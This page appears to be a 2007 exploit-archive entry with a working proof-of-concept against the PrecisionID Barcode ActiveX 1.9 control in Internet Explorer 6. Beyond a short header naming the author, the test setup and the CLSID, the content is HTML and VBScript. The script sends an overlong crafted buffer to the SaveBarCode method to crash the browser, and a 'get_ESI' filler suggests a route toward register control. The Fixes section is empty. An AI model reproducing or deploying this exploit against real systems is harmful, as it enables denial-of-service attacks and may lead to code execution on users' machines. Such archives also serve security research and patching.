PrecisionID Barcode ActiveX 1.9 Remote Denial of Service Exploit

2007-05-16 00:00:00

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------
<b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Denail of Service</b>
url: http://www.precisionid.com/

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
all software that use this ocx are vulnerable to these exploits.

If you try this exploit with IE 7, it just stops to answer
---------------------------------------------------------------------------------------

<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
buff = String(348,"A")
get_ESI = "aaaa"
buff1 = String(665,"B")
test.SaveBarCode buff + get_ESI + buff1
End Sub
</script>
</span></span>
</code></pre>

#

Fixes

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